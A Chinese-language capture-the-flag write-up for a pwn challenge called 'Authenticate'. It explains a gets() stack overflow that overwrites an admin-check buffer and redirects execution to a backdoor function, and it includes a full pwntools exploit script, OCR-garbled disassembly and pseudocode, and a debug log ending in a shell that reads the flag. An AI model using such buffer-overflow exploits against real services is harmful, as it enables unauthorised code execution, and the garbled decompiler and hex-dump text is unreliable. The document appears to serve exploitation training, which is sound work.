PWN-Authenticate
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解题思路：
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溢出点在gets，覆盖时会覆盖到buf段，buf段做了strcmp一定要admin，不是admin不会call puts。
于是exp如下（64位注意栈对齐）：
from pwn import *

context(os="linux", terminal=["cmd.exe", "/c", "start"])

binary_path = "./pwn"
host = "47.99.147.34"#网址
port = 12911#端口

elf = ELF(binary_path, checksec=False)
context.binary = elf

if elf.bits == 64:
    context.arch = "amd64"
    gdbscript = """
    b *main
    c
    """
else:
    context.arch = "i386"
    gdbscript = """
    b *main
    c
    """

context.log_level = "debug"

if args.REMOTE:
    io = remote(host, port)
else:
    io = process(binary_path)

def p():
    pause()

#todo
backdoor=0x4011F6
ret=0x40101a
io.recv()
io.sendline(b'admin')
io.recv()
offset=(b'A'*0x40+b"admin\x00").ljust(0x80+8,b"\x00")
payload=flat([offset,ret,backdoor])
io.sendline(payload)

io.interactive()
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allfine@ALF:/mnt/c/Users/3u831/Desktop$ file pwn

pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /1ib64/ld-linux-x86-64.s0.2, B
uildID[shal]=97e4a50e031dfe95062411bcc21dd279a3ab108c, for GNU/Linux 3.2.0, not stripped
allfine@ALF:/mnt/c/Users/3u831/Desktop$ checksec ——file=pwn

RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortifie
d Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 74 Symbols No [¢] 3

pwn
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int _ fastcall main(int argc, const char **argv, const char **envp)
{

setbuf(stdin, @);

setbuf(stdout, ©);

setbuf(stderr, 0);

login();

return 9;

7RI
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sub_401030 -pl 5
z::*:giggg 'ii e 6 puts(" Welcome to SecureAuth System ==
sub._401060 :pl e 7 printf("Username: ");
sub_401070 pl ® 8 read(e, buf, exdeu);
sub_401080 .pl ® 9 printf("Password: ");
sub_401090 .pl ® 10 gets(vi);
_puts -pl o 11 if ( !stremp(buf, "admin") )
—setbuf -2l 12 return puts("Access Denied: Admin login is disabled.");
,SVftem -pl 13 else
J;:;:tf :ﬁ} e 14 return puts("Invalid credentials.");
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IDAIE-A Pseudocode-B @ Stack of login HHES-A @ -+ sslinE-1 R
N .text:0000000000401231 call _printf
“ .text:0000000000401236 lea rax, [rbp+buf]
- .text:000000000040123A mov edx, 40h ; '@ ; nbytes
- .text:000000000040123F mov. rsi, rax ; buf
- .text:0000000000401242 mov edi, @ ; fd
- .text:0000000000401247 mov eax, ©
“ .text:000000000040124C call _read
- .text:0000000000401251 lea rdi, aPassword ; "Password: "
- .text:0000000000401258 mov eax, ©
N . text:000000000040125D call _printf
“ .text:0Q0QEEEE0401262 lea rax, [rbp+var_88]
- .text:0000000000401266 mov. rdi, rax
- .text:0000000000401269 mov eax, ©
N . text:000000000040126E call _gets
“ .text:0000000000401273 lea rax, [rbp+buf]
- .text:0000000000401277 lea rsi, s2 ; "admin"
- .text:000000000040127E mov rdi, rax 5 sl
N .text:0000000000401281 call _strcmp
- .text:0000000000401286 test eax, eax
- L .text:0000000000401288 jnz short loc_401298
! - .text:000000000040128A lea rdi, aAccessDeniedAd ; "Access Denied: Admin login is disabled."
| - .text:0000000000401291 call _buts
i “ . text:0000000000401296 jmp short loc_4012A4
' A EEEEEIEEERIEIAEN  coossoeeoooooosooaao -I ------------------------------------------------------
: .text:0000000000401298
: .text:0000000000401298 loc_401298: ; CODE XREF: login+7B1j
o .text:0000000000401298 lea rdi, aInvalidCredent ; "Invalid credentials.”
N . text:000000000040129F call _puts
.text:00000000004012A4
.text:00000000004012A4 loc_4012A4: ; CODE XREF: login+891j
“ .text:00000000004012A4 nop
© .text:00000000004012A5 leave
© .text:00000000004012A6 retn
.text:00000000004012A6 ; } // starts at 40120D
.text:00000000004012A6 login endp

.text:00000000004012A6
.text:00000000004012A7
.text:00000000004012A7 ;
.text:00000000004012A7
.text:00000000004012A7 ; Attributes: bp-based frame
.text:00000000004012A7
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P P
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B¥ allfine@ALF: /mnt/c/Users/34 X S N2 — (m] X

[DEBUG] Sent Ox6 bytes:

|
- [DEBUG] Received Oxa bytes:

58318 b'Password: '

2%t [DEBUG] Sent 0x99 bytes:

00000000 41 41 41 41 41 41 4l 41l 41 41 41 41 41 41 41 41 |AAAA|AAAA | AAAA|AAAA|
*

00000040 61 64 6d 69 6e 0O 00 0O 0O 0O 0O 0O 00 0O OO0 0O n~~~‘~~~~‘~~~~

admi
00000050 00 00 00 00 00 00 00 60 00 60 60 GO0 00 60 00 00 coco
|

*

00000080 00 00 00 G0 00 00 00 60 1la 10 4O 00 00 00 00 0O 0o
I 00000090 6 11 4@ 00 00 00 00 00 Oa .

00000099
[*] Switching to interactive mode
pwn [DEBUG] Received 0x28 bytes:
b'Access Denied: Admin login is disabled.\n'
Access Denied: Admin login is disabled.
$ cat fla
[DEBUG] Sent 0x8 bytes:
PWN-A b'cat fla\n'
[DEBUG] Received Ox24 bytes:
b'cat: fla: No such file or directory\n'
cat: fla: No such file or directory
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x27 bytes:
b'flag{2afu9daf83982uUcb86e93uUbelfdelf96}\n"
flag{2afu9daf83982uUcb86e93uUbelfdelf96}
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